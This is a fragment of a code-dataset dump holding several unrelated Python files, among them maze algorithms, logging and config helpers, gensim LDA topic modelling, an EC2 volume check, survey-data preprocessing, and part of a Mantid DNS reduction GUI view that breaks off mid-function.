'rapb': 9, 'raps': 9, 'sw1': True, 'sw10': True, 'sw11': True, 'sw12': False, 'sw13': True, 'sw14': True, 'sw2': False, 'sw3': True, 'sw4': False, 'sw5': True, 'sw6': True, 'sw7': True, 'sw8': False, 'sw9': False}\n # obj.multi_backtest(arg_dict=arg_dict, plot=True)","sub_path":"old scripts/calibration - backup 20191030_2.py","file_name":"calibration - backup 20191030_2.py","file_ext":"py","file_size_in_byte":34383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"583207023","text":"# -*- coding: utf-8 -*-\n\"\"\"\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nImplementaion of several maze generation algorithms\nand maze solving algorithms.\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\"\"\"\nimport heapq\nimport random\nfrom collections import deque\nfrom operator import itemgetter\nfrom maze import Maze\n\n\n# ---------------------------\n# maze generation algorithms.\n# ---------------------------\n\ndef prim(maze, start):\n \"\"\"Maze by Prim's algorithm.\"\"\"\n priorityQueue = [(0, start, v) for v in maze.get_neighbors(start)]\n maze.mark_cell(start, Maze.TREE)\n\n while len(priorityQueue) > 0:\n _, parent, child = heapq.heappop(priorityQueue)\n if maze.in_tree(child):\n continue\n maze.mark_cell(child, Maze.TREE)\n maze.mark_wall(parent, child, Maze.TREE)\n for v in maze.get_neighbors(child):\n # assign a weight between 0-10.0 to this edge only when it's needed.\n weight = 10 * random.random()\n heapq.heappush(priorityQueue, (weight, child, v))\n\n maze.canvas.refresh_frame()\n maze.canvas.clear_remaining_changes()\n\n\ndef random_dfs(maze, start):\n \"\"\"Maze by random depth-first search.\"\"\"\n stack = [(start, v) for v in maze.get_neighbors(start)]\n maze.mark_cell(start, Maze.TREE)\n\n while len(stack) > 0:\n parent, child = stack.pop()\n if maze.in_tree(child):\n continue\n maze.mark_cell(child, Maze.TREE)\n maze.mark_wall(parent, child, Maze.TREE)\n neighbors = maze.get_neighbors(child)\n random.shuffle(neighbors)\n for v in neighbors:\n stack.append((child, v))\n\n maze.canvas.refresh_frame()\n maze.canvas.clear_remaining_changes()\n\n\ndef kruskal(maze):\n \"\"\"Maze by Kruskal's algorithm.\"\"\"\n parent = {v: v for v in maze.cells}\n rank = {v: 0 for v in maze.cells}\n edges = [(random.random(), u, v) for u in maze.cells \\\n for v in maze.get_neighbors(u) if u < v]\n\n def find(v):\n \"\"\"find the root of the subtree that v belongs to.\"\"\"\n while parent[v] != v:\n v = parent[v]\n return v\n\n for _, u, v in sorted(edges, key=itemgetter(0)):\n root1 = find(u)\n root2 = find(v)\n if root1 != root2:\n if rank[root1] > rank[root2]:\n parent[root2] = root1\n elif rank[root1] < rank[root2]:\n parent[root1] = root2\n else:\n parent[root1] = root2\n rank[root2] += 1\n\n maze.mark_cell(u, Maze.TREE)\n maze.mark_cell(v, Maze.TREE)\n maze.mark_wall(u, v, Maze.TREE)\n maze.canvas.refresh_frame()\n maze.canvas.clear_remaining_changes()\n\n\ndef wilson(maze, root):\n \"\"\"\n Maze by Wilson's algorithm.\n The algorithm runs as follows:\n\n Given a finite, connected and undirected graph G:\n\n 1. Choose any vertex v as the root and maintain a tree T. Initially T={v}.\n\n 2. For any vertex v that is not in T, start a loop erased random walk from\n v until the walk hits T, then add the resulting path to T.\n\n 3. Repeat step 2 until all vertices of G are in T.\n\n Reference:\n \"Probability on Trees and Networks\", by Russell Lyons and Yuval Peres.\n \"\"\"\n maze.walkPath = [] # hold the path of the loop erased random walk.\n\n def add_to_path(cell):\n \"\"\"Add a cell to the path of current random walk.\"\"\"\n maze.mark_cell(cell, Maze.PATH)\n maze.mark_wall(maze.walkPath[-1], cell, Maze.PATH)\n maze.walkPath.append(cell)\n\n def erase_loop(cell):\n \"\"\"\n When a cell is visited twice then a loop is created, erase it.\n \"\"\"\n index = maze.walkPath.index(cell)\n # erase the loop\n maze.mark_path(maze.walkPath[index:], Maze.WALL)\n maze.mark_cell(maze.walkPath[index], Maze.PATH)\n maze.walkPath = maze.walkPath[:index+1]\n\n # the algorithm begins here.\n # initially the tree contains only the root.\n maze.mark_cell(root, Maze.TREE)\n\n # for each cell that is not in the tree,\n # start a loop erased random walk from this cell until the walk hits the tree.\n for cell in maze.cells:\n if not maze.in_tree(cell):\n maze.walkPath = [cell]\n maze.mark_cell(cell, Maze.PATH)\n currentCell = cell\n\n while not maze.in_tree(currentCell):\n nextCell = random.choice(maze.get_neighbors(currentCell))\n if maze.in_path(nextCell): # if it's already in the path then a loop is found.\n erase_loop(nextCell)\n elif maze.in_tree(nextCell): # if the walk hits the tree then finish the walk.\n add_to_path(nextCell)\n # `add_to_path` will change the cell to `PATH` so we need to reset it.\n maze.mark_cell(nextCell, Maze.TREE)\n else: # continue the walk from this new cell.\n add_to_path(nextCell)\n currentCell = nextCell\n\n maze.canvas.refresh_frame()\n\n # once the walk hits the tree then add its path to the tree.\n maze.mark_path(maze.walkPath, Maze.TREE)\n\n maze.canvas.clear_remaining_changes()\n\n\n# ------------------------\n# maze solving algorithms.\n# ------------------------\n\n# a helper function\ndef retrieve_path(cameFrom, start, end):\n \"\"\"Get the path between the start and the end.\"\"\"\n path = [end]\n v = end\n while v != start:\n v = cameFrom[v]\n path.append(v)\n return path\n\n\ndef bfs(maze, start, end):\n \"\"\"Solve the maze by breadth-first search.\"\"\"\n\n # a helper function\n def dist_to_color(distance):\n \"\"\"\n Map the distance of a cell to the start to a color index.\n This is because we must make sure that the assigned number of each cell\n lies between 0 and the total number of colors in the image,\n otherwise the initial dict of the encoder cannot recognize it.\n \"\"\"\n return max(distance % maze.canvas.writer.num_colors, 3)\n\n dist = 0\n cameFrom = {start: start}\n queue = deque([(start, dist)])\n maze.mark_cell(start, dist_to_color(dist))\n visited = set([start])\n\n while len(queue) > 0:\n child, dist = queue.popleft()\n parent = cameFrom[child]\n maze.mark_cell(child, dist_to_color(dist))\n maze.mark_wall(parent, child, dist_to_color(dist))\n\n for nextCell in maze.get_neighbors(child):\n if (nextCell not in visited) and (not maze.barrier(child, nextCell)):\n cameFrom[nextCell] = child\n queue.append((nextCell, dist + 1))\n visited.add(nextCell)\n\n maze.canvas.refresh_frame()\n maze.canvas.clear_remaining_changes()\n\n # retrieve the path\n path = retrieve_path(cameFrom, start, end)\n maze.mark_path(path, Maze.PATH)\n # show the path\n maze.canvas.clear_remaining_changes()\n\n\ndef dfs(maze, start, end):\n \"\"\"Solve the maze by depth-first search.\"\"\"\n\n def dist_to_color(distance):\n return max(distance % maze.canvas.writer.num_colors, 3)\n\n dist = 0\n cameFrom = {start: start} # a dict to remember each step.\n stack = [(start, dist)]\n maze.mark_cell(start, dist_to_color(dist))\n visited = set([start])\n\n while len(stack) > 0:\n child, dist = stack.pop()\n parent = cameFrom[child]\n maze.mark_cell(child, dist_to_color(dist))\n maze.mark_wall(parent, child, dist_to_color(dist))\n for nextCell in maze.get_neighbors(child):\n if (nextCell not in visited) and (not maze.barrier(child, nextCell)):\n cameFrom[nextCell] = child\n stack.append((nextCell, dist + 1))\n visited.add(nextCell)\n\n maze.canvas.refresh_frame()\n maze.canvas.clear_remaining_changes()\n\n path = retrieve_path(cameFrom, start, end)\n maze.mark_path(path, Maze.PATH)\n maze.canvas.clear_remaining_changes()\n\n\ndef astar(maze, start, end):\n \"\"\"Solve the maze by A* search.\"\"\"\n weightedEdges = {(u, v): 1.0 for u in maze.cells for v in maze.get_neighbors(u)}\n priorityQueue = [(0, start)]\n cameFrom = {start: start}\n costSoFar = {start: 0}\n\n def manhattan(u, v):\n \"\"\"The heuristic distance between two cells.\"\"\"\n return abs(u[0] - v[0]) + abs(u[1] - v[1])\n\n while len(priorityQueue) > 0:\n _, child = heapq.heappop(priorityQueue)\n parent = cameFrom[child]\n maze.mark_cell(child, Maze.FILL)\n maze.mark_wall(parent, child, Maze.FILL)\n if child == end:\n break\n\n for nextCell in maze.get_neighbors(child):\n newCost = costSoFar[parent] + weightedEdges[(child, nextCell)]\n if (nextCell not in costSoFar or newCost < costSoFar[nextCell]) \\\n and (not maze.barrier(nextCell, child)):\n costSoFar[nextCell] = newCost\n cameFrom[nextCell] = child\n priority = newCost + manhattan(nextCell, end)\n heapq.heappush(priorityQueue, (priority, nextCell))\n\n maze.canvas.refresh_frame()\n maze.canvas.clear_remaining_changes()\n\n path = retrieve_path(cameFrom, start, end)\n maze.mark_path(path, Maze.PATH)\n maze.canvas.clear_remaining_changes()\n","sub_path":"src/wilson/algorithms.py","file_name":"algorithms.py","file_ext":"py","file_size_in_byte":9277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"41610641","text":"import os \nimport logging\nimport time\nfrom datetime import datetime\n\n\"\"\"\nThis file contents usefull functions related to logging.\n\"\"\"\n\ndef current_date():\n # -- define the current time\n timeStamp = time.time()\n date = datetime.fromtimestamp(timeStamp).strftime(\"%Y-%m-%d\")\n return date \n\nclass Log:\n def __init__(self, log_file, date=current_date(), log_dir= os.path.join(os.getcwd(),'..', 'logs')):\n \"\"\" create log file \"\"\"\n self.log_file = log_file\n self.date = date\n # -- define and create log directory if not exist in the current directory \n self.log_dir = log_dir\n if not os.path.exists(self.log_dir):\n os.makedirs(self.log_dir)\n # -- define logfile path \n self.log_path = os.path.join(self.log_dir, self.log_file + \"_\" + self.date +'.log')\n \n def get_logger(self,logger_name,level=logging.DEBUG):\n \"\"\" setup logging files \"\"\"\n self.logger_name = logger_name\n self.level = level \n # create logger named logger_name\n self.logger = logging.getLogger(self.logger_name)\n self.logger.setLevel(self.level) \n # define a format \n formatter = logging.Formatter('%(asctime)s-%(name)s- %(levelname)s | %(message)s')\n # create file handler which logs even info messages \n self.fileHandler = logging.FileHandler(self.log_path,'a', 'utf-8') \n self.fileHandler.setLevel(logging.INFO)\n self.fileHandler.setFormatter(formatter)\n # create console handler\n self.streamHandler = logging.StreamHandler()\n self.streamHandler.setFormatter(formatter)\n # add the handlers to the logger\n self.logger.addHandler(self.fileHandler)\n self.logger.addHandler(self.streamHandler)\n return self.logger\n\n def read_logs(self):\n with open(self.log_path) as f:\n lines = f.read()\n return lines\n\n\n\n\n\n","sub_path":"utils/utils_log.py","file_name":"utils_log.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"241567723","text":"def from_file(self, filename, load, silent=False):\n \"\"\"Update the values in the config from a file that is loaded\n using the ``load`` parameter. The loaded data is passed to the\n :meth:`from_mapping` method.\n\n .. code-block:: python\n\n import toml\n app.config.from_file(\"config.toml\", load=toml.load)\n\n :param filename: The path to the data file. This can be an\n absolute path or relative to the config root path.\n :param load: A callable that takes a file handle and returns a\n mapping of loaded data from the file.\n :type load: ``Callable[[Reader], Mapping]`` where ``Reader``\n implements a ``read`` method.\n :param silent: Ignore the file if it doesn't exist.\n\n .. versionadded:: 2.0\n \"\"\"\n filename = os.path.join(self.root_path, filename)\n\n try:\n with open(filename) as f:\n obj = load(f)\n except IOError as e:\n if silent and e.errno in (errno.ENOENT, errno.EISDIR):\n return False\n\n e.strerror = \"Unable to load configuration file (%s)\" % e.strerror\n raise\n\n return self.from_mapping(obj)","sub_path":"evaluation/pi-file-reading-statement_1.py","file_name":"pi-file-reading-statement_1.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"424783920","text":"# Gensim\nimport gensim\nimport gensim.corpora as corpora\nfrom gensim.utils import simple_preprocess\nfrom gensim.models import CoherenceModel\nimport pandas as pd\nimport json\n\n\n\ndef dictionary_corpus_ldamodel(texts, numbers_topics):\n # turn our tokenized documents into a id <-> term dictionary\n dictionary = corpora.Dictionary(texts)\n \n # convert tokenized documents into a document-term matrix\n corpus = [dictionary.doc2bow(text) for text in texts]\n\n # generate LDA model\n ldamodel = gensim.models.ldamodel.LdaModel(corpus, num_topics=numbers_topics, id2word = dictionary, passes=20)\n\n result = ldamodel.show_topics(num_topics=numbers_topics, num_words=10, log=False, formatted=True)\n\n return result\n\ndef lda_gensim_topics(data, numbers_topics):\n\n # Creat 2 dataFrame data_pos and data_neg\n data_pos = data.loc[data['sentiment'] == 1]\n data_neg = data.loc[data['sentiment'] == 0]\n\n # Creat texts from dataFrame\n #texts_pos = data_pos['reviews_processed']\n #texts_neg = data_neg['reviews_processed']\n\n print(data_pos)\n print('\\n')\n print(data_neg)\n print('\\n')\n \n result_pos = dictionary_corpus_ldamodel(data_pos['reviews_processed'], numbers_topics)\n result_neg = dictionary_corpus_ldamodel(data_neg['reviews_processed'], numbers_topics)\n\n print('-------------------------------------------------------------------------------------------')\n print(result_pos)\n print('-------------------------------------------------------------------------------------------')\n print(result_neg)\n print('-------------------------------------------------------------------------------------------')\n\n #result_pos = json.dumps(result_pos)\n #result_neg = json.dumps(result_neg)\n\n return result_pos, result_neg\n\n\n\n\n\n\n\n\n\n\n","sub_path":"API/lda_gensim.py","file_name":"lda_gensim.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"346858700","text":"#!/usr/bin/python\n\nimport os\nimport sys\nimport boto.ec2\nimport boto.exception\n\nif len(sys.argv) != 2:\n print >> sys.stderr, \"requires a volume id: vol-XXXXXX\"\n sys.exit(2)\n\nvol_id = sys.argv[1]\nconn = boto.ec2.connect_to_region(os.environ['EC2_REGION'])\ntry:\n volume = conn.get_all_volumes([vol_id])[0]\nexcept boto.exception.EC2ResponseError:\n print >> sys.stderr, \"no such volume\"\n sys.exit(0)\n\nresult = (volume.status == 'available')\nif result:\n print >> sys.stderr, 'volume is available'\nelse:\n print >> sys.stderr, 'volume is not available, status: ' + volume.status\nexit_code = not result\nsys.exit(exit_code)\n","sub_path":"ec2_is_volume_available.py","file_name":"ec2_is_volume_available.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"290381472","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/sublee/labs/flask-silk/flask_silk/icons/__init__.py\n# Compiled at: 2013-03-24 07:51:25\n\"\"\"\n.. list-table::\n :widths: 1 99\n\n\"\"\"\nimport os, re\nfor filename in sorted(os.listdir(os.path.dirname(__file__))):\n if not filename.endswith('.png'):\n continue\n __doc__ += (' * - .. image:: _static/{0}\\n - {0}\\n').format(filename)","sub_path":"pycfiles/Flask-Silk-0.2.tar/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"577542398","text":"from django.conf.urls import url#Importamos las Funciones \"url\"\nfrom django.urls import path, include#Importamos las Funciones de \"Path\" & \"Include\"\nfrom Base_Local import views #Importamos las Vistas(views.py) que se encuentran en App_Base\n\nurlpatterns=[\nurl('Listado_Academias/', views.Academias_AsYouWish),#Inicio_Locales.html\nurl('Estado_CasaMatriz/',views.Estado_CasaMatriz),\nurl('Estado_Bellavista/',views.Estado_Bellavista),\nurl('Estado_Providencia/',views.Estado_Providencia),\nurl('Estado_LaFlorida/',views.Estado_LaFlorida),\n]","sub_path":"Proyecto -As You Wish (All Version)/ProyectosUNAB (Final Version)/AsYouWish_Serv/Base_Local/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"233998980","text":"import csv\nimport json\nimport redis\nimport amqpy\nimport pg8000\nimport io\nimport os\nimport time\n\n'''\nCollection of helper functions to use in the survey training preprocessor\n'''\n\ndef rabbitmq_connect(userid='rabbitmq', password='rabbitmq', host=None):\n '''\n Attempt a RabbitMQ connection, block until it succeeds\n '''\n\n if host is None:\n host = (os.getenv('RABBITMQ_HOST') or 'localhost')\n\n print('Attempting RabbitMQ connection...')\n while True:\n try:\n conn = amqpy.Connection(userid=userid, password=userid, host=host)\n break\n except Exception as e:\n print('Could not connect to RabbitMQ. Retrying...')\n time.sleep(1)\n print('RabbitMQ connection established.')\n return conn\n\ndef wait_for_redis(host=None):\n '''\n Block until the redis service is running\n '''\n\n if host is None:\n host = (os.getenv('REDIS_HOST') or 'localhost')\n\n print('Confirming redis service is running...')\n r = redis.StrictRedis(host=(os.getenv('REDIS_HOST') or 'localhost'))\n while True:\n try:\n r.ping()\n break\n except (redis.exceptions.ConnectionError, redis.exceptions.BusyLoadingError):\n print('Could not connect to redis. Retrying...')\n time.sleep(1)\n\n print('Redis service confirmed running.')\n\n\ndef query_db(query, database='postgres', host=None, user='postgres', password='', response=True, autocommit=False):\n '''\n Function that connects to the specified PostgreSQL database and executes the given query\n '''\n if host is None:\n host = os.getenv(\"PG_HOST\") or \"localhost\"\n\n psql_conn = pg8000.connect(host=host, database=database, user=user, password=password)\n psql_conn.autocommit = autocommit\n\n print('Querying DB')\n\n cursor = psql_conn.cursor()\n cursor.execute(query)\n\n if response:\n result = cursor.fetchall()\n cursor.close()\n psql_conn.close()\n return result\n else:\n cursor.close()\n psql_conn.close()\n\ndef process_survey_result(result, type_dict):\n '''\n This function takes:\n - the result of a database query (as a list of JSON objects)\n - a dictionary of format {question_id : ('numerical' || 'categorical', categorical_count)}\n\n and returns an in-memory csv file where:\n - rows are individual survey responses\n - columns are features\n - the first column contains the survey response uuids\n '''\n response_table = io.StringIO()\n writer = csv.writer(response_table, delimiter='\\t')\n for row in result:\n try:\n response_vector = []\n seen_questions = set()\n for page in row[1]['survey']['pages']:\n for question in page['questions']:\n if question['id'] not in type_dict:\n continue\n\n seen_questions.add((question['id']))\n\n if 'answer' not in question:\n response_vector.append((question['id'], None))\n continue\n\n if question['type'] == 'slider':\n response_vector.append((question['id'], question['answer']))\n\n elif question['type'] == 'choice' or question['type'] == 'multi-choice-dropdown':\n i = question['answers'].index(question['answer'])\n response_vector.append((question['id'], i))\n\n elif question['type'] == 'multi-choice':\n answer = set(question['answer'])\n for q in question['answers']:\n name = question['id'] + ':' + q\n if q in answer:\n response_vector.append((name, 1.))\n else:\n response_vector.append((name, 0.))\n elif question['type'] == 'text':\n response_vector.append((question['id'], question['answer']))\n else:\n response_vector.append((question['id'], None))\n unseen_questions = set(type_dict.keys()) - seen_questions\n for q in unseen_questions:\n response_vector.append((q, None))\n writer.writerow([str(row[0])] + [v[1] for v in sorted(response_vector, key=lambda x: x[0])])\n\n except LookupError:\n print('Malformed JSON object in %s', str(row[0]))\n\n return response_table\n\n\ndef construct_type_table(form_loc='assets/form.json'):\n '''\n This function takes:\n - a json filepath containing the form template\n\n and returns:\n - a dictionary of format {question_id : ('numerical' || 'categorical', categorical_count)}\n - a csv file where rows are of the format:\n question_id question_type categorical_count (if any)\n\n Note:\n Multi-choice questions are broken up into a series of categorical\n questions of count 2 (i.e. booleans)\n '''\n with open(form_loc) as f:\n form = json.load(f)\n type_dict = {}\n question_table = io.StringIO()\n writer = csv.writer(question_table, delimiter='\\t')\n try:\n for page in form['pages']:\n for question in page['questions']:\n if question['type'] == 'slider':\n type_dict[question['id']] = ('numerical', None)\n elif question['type'] == 'choice' or question['type'] == 'multi-choice-dropdown':\n type_dict[question['id']] = ('categorical', str(len(question['answers'])))\n elif question['type'] == 'multi-choice':\n for q in question['answers']:\n type_dict[question['id'] + ':' + q] = ('categorical', 2)\n elif question['type'] == 'text':\n type_dict[question['id']] = ('text', 1)\n else:\n raise Exception('Unknown question type {} in form'.format(question['type']))\n\n for k in sorted(type_dict.keys()):\n feature_type, num = type_dict[k]\n writer.writerow([k, feature_type, num])\n\n return type_dict, question_table\n\n except LookupError:\n raise Exception('Malformed JSON in form')\n","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":6407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"207577677","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n#\n# Author : uuplusu\n# E-mail : justin.seeley.cn@gmail.com\n# Date : 15/04/08 21:42:47\n# Desc : \n#\n\n\nfrom finddup import *\nimport unittest as ut\n\nclass TestListPdfs(ut.TestCase):\n def test_file_count_right(self):\n dirname = u'/Users/uuplusu/Github/pdftools/data/small'\n pdffilelist = listpdfsindir(dirname)\n self.assertEqual(len(pdffilelist), 18) \n\n def test_expand_user_input1(self):\n dirname = u'~/Github/pdftools/data/small'\n pdffilelist = listpdfsindir(dirname)\n self.assertEqual(len(pdffilelist), 18) \n\n def test_expand_user_input2(self):\n dirname = u'/Users/uuplusu/Github/pdftools/data/small'\n pdffilelist = listpdfsindir(dirname)\n self.assertEqual(len(pdffilelist), 18) \n\n\nclass TestExtractInfo(ut.TestCase):\n def test_fileinfo_extract(self):\n dirname = u'/Users/uuplusu/Github/pdftools/data/small'\n pdffilelist = listpdfsindir(dirname)\n for f in pdffilelist:\n self.assertIsNotNone(fileinfo(f))\n\n def test_objectinfo_extract(self):\n dirname = u'/Users/uuplusu/Github/pdftools/data/small'\n pdffilelist = listpdfsindir(dirname)\n for f in pdffilelist:\n self.assertIsNotNone(objectinfo(f))\n\n\nclass TestFindduplicate(ut.TestCase):\n def test_simple_finddup(self):\n dirname = u'/Users/uuplusu/Github/pdftools/data/small'\n pdffilelist = listpdfsindir(dirname)\n unique_list = finddup(pdffilelist)\n unique_files = [[pdffilelist[i] for i in p] for p in unique_list]\n for g in unique_files:\n for dup in g[1:]:\n pass\n\nif __name__=='__main__':\n ut.main()\n","sub_path":"testremovedup.py","file_name":"testremovedup.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"382350635","text":"# Mantid Repository : https://github.com/mantidproject/mantid\n#\n# Copyright © 2021 ISIS Rutherford Appleton Laboratory UKRI,\n# NScD Oak Ridge National Laboratory, European Spallation Source\n# & Institut Laue - Langevin\n# SPDX - License - Identifier: GPL - 3.0 +\n\"\"\"\nDNS File selector View - Tab of DNS Reduction GUI\n\"\"\"\n\nfrom mantidqt.utils.qt import load_ui\n\n# from mantidqtinterfaces.DNSReduction.helpers.mapping_creator import mapping_creator\n\nfrom qtpy.QtCore import QModelIndex, Qt, Signal\nfrom qtpy.QtWidgets import QProgressDialog\n\nfrom mantidqtinterfaces.DNSReduction.data_structures.dns_view import DNSView\n\nclass DNSFileSelectorView(DNSView):\n \"\"\"\n lets user select DNS data data files for further reduction\n \"\"\"\n NAME = 'Data'\n def __init__(self, parent):\n super().__init__(parent)\n self._content = load_ui(__file__,\n 'file_selector.ui',\n baseinstance=self)\n\n self._sample_treeview = self._content.DNS_sample_view\n self._sample_treeview.setUniformRowHeights(True)\n self._treeview = self._sample_treeview\n self._standard_treeview = self._content.DNS_standard_view\n self._standard_treeview.setUniformRowHeights(True)\n\n self._map = {\n 'filter_scans': self._content.cB_filter_scans,\n 'file_to': self._content.sB_td_file_to,\n 'file_nb': self._content.sB_td_file_nb,\n 'filter_free': self._content.cB_filter_free,\n 'autoload': self._content.cB_autoload,\n 'filter_free_text': self._content.lE_filter_free_text,\n 'filter_empty': self._content.cB_filter_empty,\n 'filter_cscans': self._content.cB_filter_cscans,\n 'filter_sample_rot': self._content.cB_filter_sample_rot,\n 'filter_nicr': self._content.cB_filter_nicr,\n 'filter_vanadium': self._content.cB_filter_vanadium,\n 'last_scans': self._content.sB_last_scans,\n 'filter_det_rot': self._content.cB_filter_det_rot,\n 'auto_standard': self._content.cB_auto_standard,\n }\n\n self._treeview.setContextMenuPolicy(Qt.CustomContextMenu)\n self._treeview.customContextMenuRequested.connect(\n self._treeview_clicked)\n self._standard_treeview.setContextMenuPolicy(Qt.CustomContextMenu)\n self._standard_treeview.customContextMenuRequested.connect(\n self._treeview_clicked)\n # buttons\n self._content.pB_td_read_all.clicked.connect(self._read_all_clicked)\n self._content.pB_td_read_filtered.clicked.connect(\n self._read_filtered_clicked)\n self._content.cB_filter_det_rot.stateChanged.connect(\n self._filter_scans_checked)\n self._content.cB_filter_sample_rot.stateChanged.connect(\n self._filter_scans_checked)\n self._content.cB_filter_scans.stateChanged.connect(\n self._filter_scans_checked)\n self._content.cB_filter_cscans.stateChanged.connect(\n self._filter_scans_checked)\n self._content.cB_filter_free.stateChanged.connect(\n self._filter_scans_checked)\n self._content.lE_filter_free_text.textChanged.connect(\n self._filter_scans_checked)\n self._content.pB_expand_all.clicked.connect(self.expand_all)\n self._content.pB_expand_none.clicked.connect(self._un_expand_all)\n self._content.pB_check_all.clicked.connect(self._check_all)\n self._content.pB_check_none.clicked.connect(self._uncheck_all)\n self._content.pB_check_last_scan.clicked.connect(self._check_last)\n self._content.pB_check_last_complete_scan.clicked.connect(\n self._check_last)\n self._content.pB_check_selected.clicked.connect(self._check_selected)\n\n # checkboxes\n self._map['filter_vanadium'].stateChanged.connect(\n self._filter_standard_checked)\n self._map['filter_nicr'].stateChanged.connect(\n self._filter_standard_checked)\n self._map['filter_empty'].stateChanged.connect(\n self._filter_standard_checked)\n self._map['autoload'].stateChanged.connect(self._autoload_checked)\n\n # combo box\n self._content.combB_directory.currentIndexChanged.connect(\n self.combo_changed)\n\n self._content.groupBox_filter_standard.setHidden(1)\n self._standard_treeview.setHidden(1)\n self.progress = None\n self.combo_changed(0)\n\n # SIGNALS\n sig_read_all = Signal()\n sig_read_filtered = Signal()\n sig_filters_clicked = Signal()\n\n sig_check_all = Signal()\n sig_uncheck_all = Signal()\n sig_check_selected = Signal()\n sig_check_last = Signal(str)\n\n sig_progress_canceled = Signal()\n sig_autoload_clicked = Signal(int)\n sig_dataset_changed = Signal(int)\n sig_standard_filters_clicked = Signal()\n sig_right_click = Signal(QModelIndex)\n\n # Signal reactions\n\n def _treeview_clicked(self, point):\n self.sig_right_click.emit(self._treeview.indexAt(point))\n\n def _autoload_checked(self, state):\n self.sig_autoload_clicked.emit(state)\n\n def _check_all(self):\n self.sig_check_all.emit()\n\n def _uncheck_all(self):\n self.sig_uncheck_all.emit()\n\n def _check_selected(self):\n self.sig_check_selected.emit()\n\n def _check_last(self):\n sender_name = self.sender().objectName()\n self.sig_check_last.emit(sender_name)\n\n def combo_changed(self, index):\n self._content.groupBox_filter.setHidden(index)\n self._content.pB_check_last_scan.setHidden(index)\n self._content.pB_check_last_complete_scan.setHidden(index)\n self._content.sB_last_scans.setHidden(index)\n self._content.sB_td_file_to.setHidden(index)\n self._content.sB_td_file_nb.setHidden(index)\n self._content.l_td_file_nb.setHidden(index)\n self._content.pB_td_read_filtered.setHidden(index)\n self._content.cB_autoload.setHidden(index)\n self._content.l_td_file_to.setHidden(index)\n self._content.groupBox_filter_standard.setHidden(1 - index)\n self._standard_treeview.setHidden(1 - index)\n self.cB_auto_standard.setHidden(1 - index)\n self._sample_treeview.setHidden(index)\n if index:\n self._treeview = self._standard_treeview\n else:\n self._treeview = self._sample_treeview\n self.sig_dataset_changed.emit(index)\n\n def _un_expand_all(self):\n self._treeview.collapseAll()\n\n def expand_all(self): # public can be called from presenter\n self._treeview.expandAll()\n\n def _filter_scans_checked(self):\n self.sig_filters_clicked.emit()\n\n def _filter_standard_checked(self):\n self.sig_standard_filters_clicked.emit()\n\n def _read_all_clicked(self):\n self.sig_read_all.emit()\n\n def _read_filtered_clicked(self):\n self.sig_read_filtered.emit()\n\n # get states\n\n def get_filters(self):\n \"\"\"\n Returning chosen filters which should be applied to the list of scans\n \"\"\"\n state_dict = self.get_state()\n freetext = state_dict['filter_free_text']\n filters = {\n 'det_rot': state_dict['filter_det_rot'],\n 'sample_rot': state_dict['filter_sample_rot'],\n ' scan': state_dict['filter_scans'],\n # space is important to not get cscans\n 'cscan': state_dict['filter_cscans'],\n freetext: state_dict['filter_free'],\n }\n if filters[' scan'] and filters['cscan']:\n filters['scan'] = True\n filters.pop(' scan')\n filters.pop('cscan')\n return filters\n\n def get_nb_scans_to_check(self):\n return self._content.sB_last_scans.value()\n\n def get_selected_indexes(self):\n return self._treeview.selectedIndexes()\n\n def get_standard_filters(self):\n state_dict = self.get_state()\n filters = {\n 'vanadium': state_dict['filter_vanadium'],\n 'nicr': state_dict['filter_nicr'],\n 'empty': state_dict['filter_empty'],\n }\n return filters\n\n def get_start_end_filenumbers(self):\n start = self._map['file_nb'].value()\n end = self._map['file_to'].value()\n return [start, end]\n\n # hiding / showing scans / files\n\n # def hide_file(self, child, scanindex, hidden=True):\n # self._treeview.setRowHidden(child.row(), scanindex, hidden)\n\n def hide_scan(self, row, hidden=True):\n self._treeview.setRowHidden(row, self._treeview.rootIndex(), hidden)\n\n # def hide_scans(self, rows):\n # for row in rows:\n # self.hide_scan(row, hidden=True)\n\n def show_scan(self, row):\n self._treeview.setRowHidden(row, self._treeview.rootIndex(), False)\n\n # def show_scans(self, rows):\n # for row in rows:\n # self.show_scan(row)\n\n def hide_tof(self, hidden=True):\n self._standard_treeview.setColumnHidden(7, hidden)\n self._standard_treeview.setColumnHidden(8, hidden)\n self._sample_treeview.setColumnHidden(7, hidden)\n self._sample_treeview.setColumnHidden(8, hidden)\n\n # def is_file_hidden(self, child, scanindex):\n # return self._treeview.isRowHidden(child.row(), scanindex)\n\n def is_scan_hidden(self, row):\n return self._treeview.isRowHidden(row, self._treeview.rootIndex())\n\n # progress dialog\n\n def open_progress_dialog(self, numofsteps):\n if numofsteps:\n self.progress = QProgressDialog(\n \"Loading {} files...\".format(numofsteps), \"Abort Loading\", 0,\n numofsteps)\n 